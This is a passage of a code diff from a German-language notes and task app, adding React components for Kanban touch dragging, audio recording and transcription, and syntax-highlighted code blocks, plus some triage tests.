+    expect(screen.getByText(/Quick Dump direkt einer Liste zuordnen/i)).toBeTruthy();
+    expect(screen.getByRole('button', { name: /Wocheneinkauf/i })).toBeTruthy();
+    expect(screen.getByRole('button', { name: /Baumarkt/i })).toBeTruthy();
+  });
+
+  it('treats one own list and one viewer-only shared list as a single writable list', async () => {
+    const onDeckChange = vi.fn();
+
+    render(
+      <TriageDeck
+        deck={sampleDeck}
+        lists={[viewerList, ownList]}
+        onDeckChange={onDeckChange}
+        onOpenDocument={vi.fn()}
+        onFocusCapture={vi.fn()}
+      />
+    );
+
+    const btn = screen.getByRole('button', { name: /Auf Wocheneinkauf/i });
+    fireEvent.click(btn);
+
+    await waitFor(() => {
+      expect(api.triageAction).toHaveBeenCalledWith('th_1', 'keep', {
+        convertTo: 'list_item',
+        targetListId: 'lst_own',
+        dueDate: undefined,
+      });
+      expect(onDeckChange).toHaveBeenCalledTimes(1);
+    });
+  });
+
+  it('disables the list button when no writable list exists', () => {
+    const onDeckChange = vi.fn();
+
+    render(
+      <TriageDeck
+        deck={sampleDeck}
+        lists={[viewerList]}
+        onDeckChange={onDeckChange}
+        onOpenDocument={vi.fn()}
+        onFocusCapture={vi.fn()}
+      />
+    );
+
+    const btn = screen.getByRole('button', { name: /^Auf Liste$/i }) as HTMLButtonElement;
+    expect(btn.disabled).toBe(true);
+    expect(btn.title).toBe('Keine Liste vorhanden');
+
+    fireEvent.click(btn);
+    expect(api.triageAction).not.toHaveBeenCalled();
+    expect(onDeckChange).not.toHaveBeenCalled();
+  });
+
+  it('renders mobile quick action buttons and triggers discard', async () => {
+    const onDeckChange = vi.fn();
+
+    render(
+      <TriageDeck
+        deck={sampleDeck}
+        lists={[ownList]}
+        onDeckChange={onDeckChange}
+        onOpenDocument={vi.fn()}
+        onFocusCapture={vi.fn()}
+      />
+    );
+
+    const [mobileDiscard] = screen.getAllByRole('button', { name: /^Wegwerfen$/i });
+    fireEvent.click(mobileDiscard);
+
+    await waitFor(() => {
+      expect(api.triageAction).toHaveBeenCalledWith('th_1', 'discard', expect.objectContaining({}));
+      expect(onDeckChange).toHaveBeenCalledTimes(1);
+    });
+  });
+});

frontend/src/features/triage/useKanbanTouchDrag.tsx

@@ -0,0 +1,169 @@
+import React, { useCallback, useEffect, useRef, useState } from 'react';
+import { createPortal } from 'react-dom';
+
+// Drag & drop on the Kanban board with a finger (browsers offer HTML5 drag & drop only for mouse and
+// pen): hold a card for a moment, it lifts, drag it onto another card or column, let go. A short tap
+// still opens the task and a swipe still scrolls, because the drag starts only after the hold.
+// Cards carry data-kanban-task="<id>", columns data-kanban-col="<id>".
+
+const HOLD_MS = 350;
+const MOVE_TOLERANCE = 8; // px a finger may wander during the hold before it counts as scrolling
+const EDGE = 90; // px near the top/bottom edge that scroll the page while dragging
+
+export type KanbanDropTarget = { taskId: string; position: 'before' | 'after' } | null;
+
+interface Options {
+  enabled: boolean;
+  onStart: (taskId: string) => void;
+  onHover: (colId: string | null, target: KanbanDropTarget) => void;
+  onDrop: (taskId: string, colId: string | null, target: KanbanDropTarget) => void;
+  onCancel: () => void;
+}
+
+interface Drag {
+  taskId: string;
+  label: string;
+  x: number;
+  y: number;
+  offsetX: number;
+  offsetY: number;
+  width: number;
+}
+
+export function useKanbanTouchDrag({ enabled, onStart, onHover, onDrop, onCancel }: Options) {
+  const [drag, setDrag] = useState<Drag | null>(null);
+  const holdRef = useRef<{ timer: number; x: number; y: number } | null>(null);
+  const dragRef = useRef<Drag | null>(null);
+  const hoverRef = useRef<{ col: string | null; target: KanbanDropTarget }>({ col: null, target: null });
+  const suppressClickRef = useRef(false);
+  const callbacks = useRef({ onStart, onHover, onDrop, onCancel });
+  callbacks.current = { onStart, onHover, onDrop, onCancel };
+
+  const cancelHold = () => {
+    if (holdRef.current) window.clearTimeout(holdRef.current.timer);
+    holdRef.current = null;
+  };
+
+  const hoverAt = (x: number, y: number) => {
+    const el = document.elementFromPoint(x, y) as HTMLElement | null;
+    const card = el?.closest('[data-kanban-task]') as HTMLElement | null;
+    const col = (el?.closest('[data-kanban-col]') as HTMLElement | null)?.dataset.kanbanCol ?? null;
+    let target: KanbanDropTarget = null;
+    const cardId = card?.dataset.kanbanTask;
+    if (card && cardId && cardId !== dragRef.current?.taskId) {
+      const r = card.getBoundingClientRect();
+      target = { taskId: cardId, position: y - r.top < r.height / 2 ? 'before' : 'after' };
+    }
+    const prev = hoverRef.current;
+    if (prev.col !== col || prev.target?.taskId !== target?.taskId || prev.target?.position !== target?.position) {
+      hoverRef.current = { col, target };
+      callbacks.current.onHover(col, target);
+    }
+  };
+
+  // While dragging: the page must not scroll under the finger (non-passive listener), it scrolls
+  // only near the edges
+  useEffect(() => {
+    if (!drag) return;
+    let frame = 0;
+    const scroll = () => {
+      const d = dragRef.current;
+      if (d) {
+        if (d.y < EDGE) window.scrollBy(0, -Math.ceil((EDGE - d.y) / 6));
+        else if (d.y > window.innerHeight - EDGE) window.scrollBy(0, Math.ceil((d.y - (window.innerHeight - EDGE)) / 6));
+        hoverAt(d.x, d.y);
+      }
+      frame = requestAnimationFrame(scroll);
+    };
+    frame = requestAnimationFrame(scroll);
+
+    const move = (e: TouchEvent) => {
+      e.preventDefault();
+      const t = e.touches[0];
+      if (!t || !dragRef.current) return;
+      dragRef.current = { ...dragRef.current, x: t.clientX, y: t.clientY };
+      setDrag(dragRef.current);
+    };
+    const end = (e: TouchEvent) => {
+      const d = dragRef.current;
+      dragRef.current = null;
+      setDrag(null);
+      suppressClickRef.current = true;
+      window.setTimeout(() => (suppressClickRef.current = false), 400);
+      if (!d) return;
+      if (e.type === 'touchcancel') callbacks.current.onCancel();
+      else callbacks.current.onDrop(d.taskId, hoverRef.current.col, hoverRef.current.target);
+      hoverRef.current = { col: null, target: null };
+    };
+    document.addEventListener('touchmove', move, { passive: false });
+    document.addEventListener('touchend', end);
+    document.addEventListener('touchcancel', end);
+    return () => {
+      cancelAnimationFrame(frame);
+      document.removeEventListener('touchmove', move);
+      document.removeEventListener('touchend', end);
+      document.removeEventListener('touchcancel', end);
+    };
+    // Listeners live as long as one drag; positions are read from refs
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, [Boolean(drag)]);
+
+  /** Props for a card; label is what the lifted card shows */
+  const cardProps = useCallback(
+    (taskId: string, label: string, draggable: boolean) => {
+      if (!enabled || !draggable) return {};
+      return {
+        onTouchStart: (e: React.TouchEvent<HTMLElement>) => {
+          if (e.touches.length !== 1) return;
+          const t = e.touches[0];
+          const el = e.currentTarget;
+          cancelHold();
+          holdRef.current = {
+            x: t.clientX,
+            y: t.clientY,
+            timer: window.setTimeout(() => {
+              const hold = holdRef.current;
+              holdRef.current = null;
+              if (!hold) return;
+              const r = el.getBoundingClientRect();
+              navigator.vibrate?.(15);
+              const d: Drag = { taskId, label, x: hold.x, y: hold.y, offsetX: hold.x - r.left, offsetY: hold.y - r.top, width: r.width };
+              dragRef.current = d;
+              hoverRef.current = { col: null, target: null };
+              setDrag(d);
+              callbacks.current.onStart(taskId);
+            }, HOLD_MS),
+          };
+        },
+        onTouchMove: (e: React.TouchEvent<HTMLElement>) => {
+          const h = holdRef.current;
+          const t = e.touches[0];
+          if (h && t && Math.hypot(t.clientX - h.x, t.clientY - h.y) > MOVE_TOLERANCE) cancelHold(); // scrolling
+        },
+        onTouchEnd: cancelHold,
+        onTouchCancel: cancelHold,
+        // The long press must not open the browser's context menu or select text
+        onContextMenu: (e: React.MouseEvent) => e.preventDefault(),
+        style: { WebkitTouchCallout: 'none' } as React.CSSProperties,
+      };
+    },
+    [enabled]
+  );
+
+  /** A tap right after a drag must not open the task */
+  const consumeClick = () => suppressClickRef.current;
+
+  const ghost = drag
+    ? createPortal(
+        <div
+          className="fixed z-[80] pointer-events-none panel-surface shadow-panel px-3 py-2.5 text-xs font-medium text-main rotate-1 opacity-95 border-accent"
+          style={{ left: drag.x - drag.offsetX, top: drag.y - drag.offsetY, width: drag.width }}
+        >
+          {drag.label}
+        </div>,
+        document.body
+      )
+    : null;
+
+  return { cardProps, ghost, consumeClick, dragging: Boolean(drag) };
+}

frontend/src/features/workspace/AudioBlock.tsx

@@ -0,0 +1,136 @@
+import React, { useEffect, useRef, useState } from 'react';
+import { FileAudio, Loader2, Wand2 } from 'lucide-react';
+import { api } from '../../lib/api';
+import { mediaBlob, mediaObjectURL, parseMediaContent } from '../../lib/media';
+import { loadVoiceConfig } from '../../lib/voice';
+
+interface AudioBlockProps {
+  content: string;
+  canEdit: boolean;
+  onCaptionChange: (caption: string) => void;
+}
+
+// Audio block: player plus caption. With the own Whisper server the recording can be turned into text,
+// which becomes the caption (and so searchable).
+export const AudioBlock: React.FC<AudioBlockProps> = ({ content, canEdit, onCaptionChange }) => {
+  const ref = parseMediaContent(content);
+  const mediaId = ref?.id;
+  const [src, setSrc] = useState<string | null>(null);
+  const [failed, setFailed] = useState(false);
+  const [caption, setCaption] = useState(ref?.caption || '');
+  const [canTranscribe, setCanTranscribe] = useState(false);
+  const [transcribing, setTranscribing] = useState(false);
+  const [error, setError] = useState<string | null>(null);
+  const audioRef = useRef<HTMLAudioElement>(null);
+
+  // Recordings from Chrome (WebM) carry no length: jump to the end once so the browser measures it,
+  // otherwise the player shows no total time and seeking does not work
+  const fixDuration = () => {
+    const a = audioRef.current;
+    if (!a || Number.isFinite(a.duration)) return;
+    const reset = () => {
+      a.removeEventListener('timeupdate', reset);
+      a.currentTime = 0;
+    };
+    a.addEventListener('timeupdate', reset);
+    a.currentTime = 1e101;
+  };
+
+  useEffect(() => {
+    setCaption(ref?.caption || '');
+  }, [ref?.caption]);
+
+  useEffect(() => {
+    if (!mediaId) return;
+    let alive = true;
+    setFailed(false);
+    mediaObjectURL(mediaId)
+      .then((u) => alive && setSrc(u))
+      .catch(() => alive && setFailed(true));
+    return () => {
+      alive = false;
+    };
+  }, [mediaId]);
+
+  useEffect(() => {
+    void loadVoiceConfig().then((cfg) => setCanTranscribe(cfg.mode === 'server'));
+  }, []);
+
+  if (!ref) {
+    return <div className="text-xs text-status-err py-1">Audio-Verweis ist beschädigt: {content}</div>;
+  }
+
+  const commitCaption = (value: string) => {
+    if (value.trim() !== ref.caption) onCaptionChange(value.trim());
+  };
+
+  const transcribe = async () => {
+    if (!src) return;
+    setTranscribing(true);
+    setError(null);
+    try {
+      const blob = await mediaBlob(ref.id);
+      const text = await api.transcribe(blob);
+      if (text) {
+        setCaption(text);
+        commitCaption(text);
+      } else {
+        setError('Nichts erkannt');
+      }
+    } catch (err: any) {
+      setError(err?.message || 'Spracherkennung fehlgeschlagen');
+    } finally {
+      setTranscribing(false);
+    }
+  };
+
+  return (
+    <div className="my-1 space-y-1">
+      {failed ? (
+        <div className="flex items-center gap-2 h-12 px-4 rounded-full border border-border bg-panel text-xs text-muted">
+          <FileAudio className="w-4 h-4" /> Aufnahme nicht verfügbar (offline oder gelöscht)
+        </div>
+      ) : src ? (
+        <div className="flex items-center gap-2">
+          <audio ref={audioRef} controls preload="metadata" src={src} onLoadedMetadata={fixDuration} className="w-full max-w-md h-11" />
+          {canEdit && canTranscribe && (
+            <button
+              type="button"
+              onClick={() => void transcribe()}
+              disabled={transcribing}
+              title="In Text umwandeln (eigene Spracherkennung)"
+              className="btn-secondary !rounded-full h-11 sm:h-8 px-3 text-xs flex items-center gap-1.5 shrink-0 disabled:opacity-40"
+            >
+              {transcribing ? <Loader2 className="w-3.5 h-3.5 animate-spin" /> : <Wand2 className="w-3.5 h-3.5" />}
+              <span className="hidden sm:inline">{transcribing ? 'Wird erkannt…' : 'Transkribieren'}</span>
+            </button>
+          )}
+        </div>
+      ) : (
+        <div className="flex items-center h-12 px-4 rounded-full border border-border bg-panel w-64">
+          <Loader2 className="w-4 h-4 animate-spin text-muted" />
+        </div>
+      )}
+
+      {canEdit ? (
+        <input
+          type="text"
+          value={caption}
+          onChange={(e) => setCaption(e.target.value)}
+          onBlur={() => commitCaption(caption)}
+          onKeyDown={(e) => {
+            if (e.key === 'Enter') {
+              e.preventDefault();
+              (e.target as HTMLInputElement).blur();
+            }
+          }}
+          placeholder="Beschriftung hinzufügen…"
+          className="w-full bg-transparent border-0 p-0 text-xs text-muted placeholder-faint focus:outline-none focus:ring-0"
+        />
+      ) : (
+        ref.caption && <p className="text-xs text-muted">{ref.caption}</p>
+      )}
+      {error && <p className="text-xs text-status-err">{error}</p>}
+    </div>
+  );
+};

frontend/src/features/workspace/AudioRecorderPicker.tsx

@@ -0,0 +1,183 @@
+import React, { useEffect, useRef, useState } from 'react';
+import { Loader2, Mic, Square, Upload, X } from 'lucide-react';
+import { UploadedMedia, uploadMedia } from '../../lib/media';
+import { VoiceRecorder } from '../../lib/voice';
+import { VoiceWave } from '../../components/VoiceWave';
+import { triggerHaptic } from '../../lib/api';
+
+interface AudioRecorderPickerProps {
+  docId: string;
+  onDone: (media: UploadedMedia) => void;
+  onCancel: () => void;
+}
+
+const MAX_RECORDING_MS = 30 * 60 * 1000;
+
+function formatTime(ms: number): string {
+  const s = Math.floor(ms / 1000);
+  return `${Math.floor(s / 60)}:${String(s % 60).padStart(2, '0')}`;
+}
+
+// Inline bubble an empty bullet turns into after /audio. Green button = start, red button = stop and
+// save; the live wave runs left of the red button. An existing audio file can be uploaded instead.
+export const AudioRecorderPicker: React.FC<AudioRecorderPickerProps> = ({ docId, onDone, onCancel }) => {
+  const [state, setState] = useState<'ready' | 'recording' | 'uploading'>('ready');
+  const [elapsed, setElapsed] = useState(0);
+  const [error, setError] = useState<string | null>(null);
+  const recorderRef = useRef<VoiceRecorder | null>(null);
+  const startedRef = useRef(0);
+  const tickRef = useRef<number | null>(null);
+  const fileRef = useRef<HTMLInputElement>(null);
+  const boxRef = useRef<HTMLDivElement>(null);
+
+  const stopTicking = () => {
+    if (tickRef.current !== null) window.clearInterval(tickRef.current);
+    tickRef.current = null;
+  };
+
+  useEffect(() => {
+    boxRef.current?.focus();
+    return () => {
+      stopTicking();
+      recorderRef.current?.cancel();
+    };
+  }, []);
+
+  const upload = async (blob: Blob, name: string) => {
+    setState('uploading');
+    setError(null);
+    try {
+      onDone(await uploadMedia(docId, blob, name));
+    } catch (err: any) {
+      setError(err?.message || 'Hochladen fehlgeschlagen');
+      setState('ready');
+    }
+  };
+
+  const stop = async () => {
+    const rec = recorderRef.current;
+    if (!rec) return;
+    recorderRef.current = null;
+    stopTicking();
+    triggerHaptic(20);
+    const blob = await rec.stop();
+    if (!blob) {
+      setError('Die Aufnahme ist leer');
+      setState('ready');
+      return;
+    }
+    const ext = blob.type.includes('mp4') ? 'm4a' : blob.type.includes('ogg') ? 'ogg' : 'webm';
+    await upload(blob, `sprachnotiz.${ext}`);
+  };
+
+  const start = async () => {
+    setError(null);
+    const rec = new VoiceRecorder();
+    try {
+      await rec.start();
+    } catch {
+      setError('Kein Zugriff auf das Mikrofon (Berechtigung, oder die Seite läuft nicht über HTTPS)');
+      return;
+    }
+    recorderRef.current = rec;
+    startedRef.current = Date.now();
+    setElapsed(0);
+    setState('recording');
+    triggerHaptic([15, 60, 25]);
+    tickRef.current = window.setInterval(() => {
+      const ms = Date.now() - startedRef.current;
+      setElapsed(ms);
+      if (ms >= MAX_RECORDING_MS) void stop();
+    }, 250);
+  };
+
+  const cancel = () => {
+    stopTicking();
+    recorderRef.current?.cancel();
+    recorderRef.current = null;
+    onCancel();
+  };
+
+  return (
+    <div
+      ref={boxRef}
+      tabIndex={-1}
+      onKeyDown={(e) => {
+        if (e.key === 'Escape') {
+          e.preventDefault();
+          cancel();
+        }
+      }}
+      className="my-1 inline-flex max-w-full flex-col gap-2 rounded-3xl border border-border bg-panel-elevated px-4 py-2 focus:outline-none"
+    >
+      <div className="flex items-center gap-3">
+        {state === 'recording' && (
+          <>
+            <span className="text-xs font-mono text-main tabular-nums">{formatTime(elapsed)}</span>
+            <VoiceWave getLevel={() => recorderRef.current?.level() ?? null} bars={11} className="h-6 text-status-err" />
+          </>
+        )}
+        {state === 'ready' && <span className="text-xs text-muted">Sprachnotiz aufnehmen</span>}
+        {state === 'uploading' && (
+          <span className="text-xs text-muted flex items-center gap-1.5">
+            <Loader2 className="w-3.5 h-3.5 animate-spin" /> Wird gespeichert…
+          </span>
+        )}
+
+        {state === 'recording' ? (
+          <button
+            type="button"
+            onClick={() => void stop()}
+            title="Aufnahme beenden und speichern"
+            aria-label="Aufnahme beenden und speichern"
+            className="w-14 h-14 sm:w-10 sm:h-10 rounded-full bg-status-err text-on-accent flex items-center justify-center shadow-panel shrink-0"
+          >
+            <Square className="w-5 h-5 sm:w-4 sm:h-4 fill-current" />
+          </button>
+        ) : (
+          <button
+            type="button"
+            onClick={() => void start()}
+            disabled={state === 'uploading'}
+            title="Aufnahme starten"
+            aria-label="Aufnahme starten"
+            className="w-14 h-14 sm:w-10 sm:h-10 rounded-full bg-status-ok text-on-accent flex items-center justify-center shadow-panel shrink-0 disabled:opacity-40"
+          >
+            <Mic className="w-6 h-6 sm:w-5 sm:h-5" />
+          </button>
+        )}
+
+        {state === 'ready' && (
+          <button
+            type="button"
+            onClick={() => fileRef.current?.click()}
+            title="Audiodatei hochladen"
+            className="btn-secondary h-11 sm:h-8 px-3 text-xs flex items-center gap-1.5 shrink-0"
+          >
+            <Upload className="w-3.5 h-3.5" /> <span className="hidden sm:inline">Datei</span>
+          </button>
+        )}
+        <button
+          type="button"
+          onClick={cancel}
+          disabled={state === 'uploading'}
+          title="Abbrechen (Esc)"
+          className="w-11 h-11 sm:w-7 sm:h-7 flex items-center justify-center rounded-full text-muted hover:text-main hover:bg-panel shrink-0 disabled:opacity-40"
+        >
+          <X className="w-4 h-4" />
+        </button>
+      </div>
+      {error && <p className="text-xs text-status-err">{error}</p>}
+      <input
+        ref={fileRef}
+        type="file"
+        accept="audio/*"
+        hidden
+        onChange={(e) => {
+          const f = e.target.files?.[0];
+          if (f) void upload(f, f.name || 'audio');
+        }}
+      />
+    </div>
+  );
+};

frontend/src/features/workspace/CodeBlockEditor.tsx

@@ -0,0 +1,646 @@
+import React, { useState, useEffect, useLayoutEffect, useMemo, useRef, useCallback } from 'react';
+import Prism from 'prismjs';
+import { Copy, Check } from 'lucide-react';
+import { DocumentBlock } from '../../lib/types';
+
+Prism.manual = true;
+if (typeof globalThis !== 'undefined') {
+  (globalThis as Record<string, unknown>).Prism = Prism;
+}
+
+export interface CodeLanguageOption {
+  id: string;
+  label: string;
+}
+
+export interface CodeLanguageGroup {
+  label: string;
+  options: CodeLanguageOption[];
+}
+
+export const CODE_LANGUAGE_GROUPS: CodeLanguageGroup[] = [
+  {
+    label: 'Konfiguration & Daten',
+    options: [
+      { id: 'yaml', label: 'YAML' },
+      { id: 'json', label: 'JSON' },
+      { id: 'toml', label: 'TOML' },
+      { id: 'ini', label: 'INI' },
+      { id: 'docker', label: 'Dockerfile' },
+      { id: 'nginx', label: 'Nginx' },
+      { id: 'hcl', label: 'HCL / Terraform' },
+      { id: 'xml', label: 'XML' },
+      { id: 'csv', label: 'CSV' },
+      { id: 'graphql', label: 'GraphQL' },
+      { id: 'protobuf', label: 'Protocol Buffers' },
+    ],
+  },
+  {
+    label: 'Shell & Betrieb',
+    options: [
+      { id: 'bash', label: 'Bash / Shell' },
+      { id: 'powershell', label: 'PowerShell' },
+      { id: 'makefile', label: 'Makefile' },
+      { id: 'systemd', label: 'Systemd' },
+      { id: 'vim', label: 'Vim' },
+      { id: 'diff', label: 'Diff' },
+      { id: 'git', label: 'Git' },
+      { id: 'log', label: 'Log' },
+    ],
+  },
+  {
+    label: 'Web & Frontend',
+    options: [
+      { id: 'javascript', label: 'JavaScript' },
+      { id: 'typescript', label: 'TypeScript' },
+      { id: 'jsx', label: 'JSX' },
+      { id: 'tsx', label: 'TSX' },
+      { id: 'markup', label: 'HTML / Markup' },
+      { id: 'html', label: 'HTML' },
+      { id: 'css', label: 'CSS' },
+      { id: 'scss', label: 'SCSS' },
+    ],
+  },
+  {
+    label: 'Skriptsprachen',
+    options: [
+      { id: 'python', label: 'Python' },
+      { id: 'php', label: 'PHP' },
+      { id: 'ruby', label: 'Ruby' },
+      { id: 'lua', label: 'Lua' },
+      { id: 'perl', label: 'Perl' },
+    ],
+  },
+  {
+    label: 'System & Backend',
+    options: [
+      { id: 'go', label: 'Go' },
+      { id: 'rust', label: 'Rust' },
+      { id: 'sql', label: 'SQL' },
+      { id: 'c', label: 'C' },
+      { id: 'cpp', label: 'C++' },
+      { id: 'csharp', label: 'C#' },
+      { id: 'java', label: 'Java' },
+      { id: 'kotlin', label: 'Kotlin' },
+      { id: 'swift', label: 'Swift' },
+      { id: 'dart', label: 'Dart' },
+      { id: 'zig', label: 'Zig' },
+      { id: 'elixir', label: 'Elixir' },
+      { id: 'scala', label: 'Scala' },
+      { id: 'haskell', label: 'Haskell' },
+    ],
+  },
+  {
+    label: 'Dokumentation & Text',
+    options: [
+      { id: 'markdown', label: 'Markdown' },
+      { id: 'latex', label: 'LaTeX' },
+      { id: 'regex', label: 'Regex' },
+      { id: 'text', label: 'Plain Text' },
+    ],
+  },
+];
+
+export const CODE_LANGUAGES: CodeLanguageOption[] = CODE_LANGUAGE_GROUPS.flatMap((g) => g.options);
+
+const KNOWN_OPTION_IDS = new Set<string>(CODE_LANGUAGES.map((l) => l.id));
+
+const LANGUAGE_ALIASES: Record<string, string> = {
+  yml: 'yaml',
+  sh: 'bash',
+  shell: 'bash',
+  zsh: 'bash',
+  js: 'javascript',
+  mjs: 'javascript',
+  cjs: 'javascript',
+  ts: 'typescript',
+  mts: 'typescript',
+  cts: 'typescript',
+  py: 'python',
+  rb: 'ruby',
+  rs: 'rust',
+  cs: 'csharp',
+  'c#': 'csharp',
+  dotnet: 'csharp',
+  'c++': 'cpp',
+  cxx: 'cpp',
+  cc: 'cpp',
+  hpp: 'cpp',
+  h: 'c',
+  kt: 'kotlin',
+  kts: 'kotlin',
+  hs: 'haskell',
+  md: 'markdown',
+  tex: 'latex',
+  dockerfile: 'docker',
+  containerfile: 'docker',
+  htm: 'html',
+  svg: 'xml',
+  proto: 'protobuf',
+  ps1: 'powershell',
+  pwsh: 'powershell',
+  make: 'makefile',
+  gql: 'graphql',
+  tf: 'hcl',
+  terraform: 'hcl',
+  ex: 'elixir',
+  exs: 'elixir',
+  pl: 'perl',
+  conf: 'ini',
+  golang: 'go',
+  plaintext: 'text',
+  plain: 'text',
+  txt: 'text',
+};
+
+const SHORT_PREFIX_CANDIDATES = new Set<string>([
+  'c',
+  'go',
+  'js',
+  'ts',
+  'sh',
+  'py',
+  'rb',
+  'rs',
+  'cs',
+  'kt',
+  'hs',
+  'md',
+  'ex',
+  'pl',
+  'tf',
+  'tex',
+  'htm',
+  'yml',
+  'doc',
+  'docker',
+  'make',
+  'proto',
+  'plain',
+]);
+
+export function resolveLanguageId(raw?: string): string | undefined {
+  if (!raw) return undefined;
+  const key = raw.trim().toLowerCase();
+  if (!key) return undefined;
+  if (KNOWN_OPTION_IDS.has(key)) return key;
+  return LANGUAGE_ALIASES[key];
+}
+
+// True when a language token in `/code <lang>` or ````<lang>` cannot be a prefix of another language user is still typing
+export function isUnambiguousLanguageShortcut(raw?: string): boolean {
+  if (!raw) return false;
+  const key = raw.trim().toLowerCase();
+  if (SHORT_PREFIX_CANDIDATES.has(key)) return false;
+  return Boolean(resolveLanguageId(key));
+}
+
+// On-demand loaders for Prism grammars (Vite code-splits each into its own chunk)
+const PRISM_LOADERS: Record<string, () => Promise<unknown>> = {
+  yaml: () => import('prismjs/components/prism-yaml'),
+  json: () => import('prismjs/components/prism-json'),
+  toml: () => import('prismjs/components/prism-toml'),
+  ini: () => import('prismjs/components/prism-ini'),
+  docker: () => import('prismjs/components/prism-docker'),
+  nginx: () => import('prismjs/components/prism-nginx'),
+  hcl: () => import('prismjs/components/prism-hcl'),
+  csv: () => import('prismjs/components/prism-csv'),
+  graphql: () => import('prismjs/components/prism-graphql'),
+  protobuf: () => import('prismjs/components/prism-protobuf'),
+  bash: () => import('prismjs/components/prism-bash'),
+  powershell: () => import('prismjs/components/prism-powershell'),
+  makefile: () => import('prismjs/components/prism-makefile'),
+  systemd: () => import('prismjs/components/prism-systemd'),
+  vim: () => import('prismjs/components/prism-vim'),
+  diff: () => import('prismjs/components/prism-diff'),
+  git: () => import('prismjs/components/prism-git'),
+  log: () => import('prismjs/components/prism-log'),
+  typescript: () => import('prismjs/components/prism-typescript'),
+  jsx: () => import('prismjs/components/prism-jsx'),
+  tsx: () => import('prismjs/components/prism-tsx'),
+  scss: () => import('prismjs/components/prism-scss'),
+  python: () => import('prismjs/components/prism-python'),
+  'markup-templating': () => import('prismjs/components/prism-markup-templating'),
+  php: () => import('prismjs/components/prism-php'),
+  ruby: () => import('prismjs/components/prism-ruby'),
+  lua: () => import('prismjs/components/prism-lua'),
+  perl: () => import('prismjs/components/prism-perl'),
+  go: () => import('prismjs/components/prism-go'),
+  rust: () => import('prismjs/components/prism-rust'),
+  sql: () => import('prismjs/components/prism-sql'),
+  c: () => import('prismjs/components/prism-c'),
+  cpp: () => import('prismjs/components/prism-cpp'),
+  csharp: () => import('prismjs/components/prism-csharp'),
+  java: () => import('prismjs/components/prism-java'),
+  kotlin: () => import('prismjs/components/prism-kotlin'),
+  swift: () => import('prismjs/components/prism-swift'),
+  dart: () => import('prismjs/components/prism-dart'),
+  zig: () => import('prismjs/components/prism-zig'),
+  elixir: () => import('prismjs/components/prism-elixir'),
+  scala: () => import('prismjs/components/prism-scala'),
+  haskell: () => import('prismjs/components/prism-haskell'),
+  markdown: () => import('prismjs/components/prism-markdown'),
+  latex: () => import('prismjs/components/prism-latex'),
+  regex: () => import('prismjs/components/prism-regex'),
+};
+
+// Prerequisite grammars that must be loaded in order before the target grammar
+const PRISM_DEPENDENCIES: Record<string, string[]> = {
+  tsx: ['jsx', 'typescript'],
+  cpp: ['c'],
+  php: ['markup-templating'],
+  scala: ['java'],
+};
+
+const inFlightGrammarLoads = new Map<string, Promise<boolean>>();
+
+export function toPrismGrammarKey(lang?: string): string {
+  if (!lang) return '';
+  const resolved = resolveLanguageId(lang) || lang.trim().toLowerCase();
+  if (!resolved || resolved === 'text' || resolved === 'plaintext') return '';
+  if (resolved === 'html') return 'markup';
+  return resolved;
+}
+
+export async function loadPrismLanguage(lang?: string): Promise<boolean> {
+  const key = toPrismGrammarKey(lang);
+  if (!key) return false;
+  if (Prism.languages[key]) return true;
+
+  const existing = inFlightGrammarLoads.get(key);
+  if (existing) return existing;
+
+  const task = (async () => {
+    try {
+      const deps = PRISM_DEPENDENCIES[key];
+      if (deps) {
+        for (const dep of deps) {
+          if (!Prism.languages[dep]) {
+            await loadPrismLanguage(dep);
+          }
+        }
+      }
+      const loader = PRISM_LOADERS[key];
+      if (loader) {
+        await loader();
+      }
+      return Boolean(Prism.languages[key]);
+    } catch {
+      return false;
+    } finally {
+      inFlightGrammarLoads.delete(key);
+    }
+  })();
+
+  inFlightGrammarLoads.set(key, task);
+  return task;
+}
+
+export function escapeHtml(raw: string): string {
+  return raw
+    .replace(/&/g, '&amp;')
+    .replace(/</g, '&lt;')
+    .replace(/>/g, '&gt;');
+}
+
+export interface CodeBlockEditorProps {
+  block: DocumentBlock;
+  content?: string;
+  canEdit?: boolean;
+  textareaRef?: React.MutableRefObject<HTMLTextAreaElement | null>;
+  registerTextareaRef?: (blockId: string, el: HTMLTextAreaElement | null) => void;
+  onChangeContent?: (content: string) => void;
+  onChangeLang?: (lang: string) => void;
+  /** Kept for callers; converting back to text lives in the bullet's action bubble now */
+  onConvertToText?: () => void;
+  handleFocus?: (e: React.FocusEvent<HTMLTextAreaElement>) => void;
+  handleBlur?: (e: React.FocusEvent<HTMLTextAreaElement>) => void;
+  handleContentChange?: (e: React.ChangeEvent<HTMLTextAreaElement>) => void;
+  handleKeyDown?: (e: React.KeyboardEvent<HTMLTextAreaElement>) => void;
+}
+
+export const CodeBlockEditor: React.FC<CodeBlockEditorProps> = ({
+  block,
+  content,
+  canEdit = true,
+  textareaRef,
+  registerTextareaRef,
+  onChangeContent,
+  onChangeLang,
+  handleFocus,
+  handleBlur,
+  handleContentChange,
+  handleKeyDown,
+}) => {
+  const isControlled = content !== undefined;
+  const [uncontrolledContent, setUncontrolledContent] = useState<string>(block.content || '');
+  const currentContent = isControlled ? content : uncontrolledContent;
+
+  useEffect(() => {
+    if (!isControlled) {
+      setUncontrolledContent(block.content || '');
+    }
+  }, [block.content, isControlled]);
+
+  const [copied, setCopied] = useState(false);
+  const [loadedGrammar, setLoadedGrammar] = useState<string>('');
+  const copyTimerRef = useRef<number | null>(null);
+  const localTextareaRef = useRef<HTMLTextAreaElement | null>(null);
+  const preRef = useRef<HTMLPreElement | null>(null);
+  const lineNumbersRef = useRef<HTMLDivElement | null>(null);
+
+  useEffect(() => {
+    return () => {
+      if (copyTimerRef.current !== null) {
+        window.clearTimeout(copyTimerRef.current);
+      }
+    };
+  }, []);
+
+  const prismLang = toPrismGrammarKey(block.lang);
+
+  useEffect(() => {
+    if (!prismLang) return;
+    if (Prism.languages[prismLang]) {
+      setLoadedGrammar(prismLang);
+      return;
+    }
+    let cancelled = false;
+    loadPrismLanguage(prismLang).then((loaded) => {
+      if (!cancelled && loaded) {
+        setLoadedGrammar(prismLang);
+      }
+    });
+    return () => {
+      cancelled = true;
+    };
+  }, [prismLang]);
+
+  const highlightedHtml = useMemo(() => {
+    if (!currentContent) return '';
+    const activeLang = prismLang && (Prism.languages[prismLang] || loadedGrammar === prismLang) ? prismLang : '';
+    if (!activeLang) return escapeHtml(currentContent);
+    const grammar = Prism.languages[activeLang];
+    if (!grammar) return escapeHtml(currentContent);
+    try {
+      return Prism.highlight(currentContent, grammar, activeLang);
+    } catch {
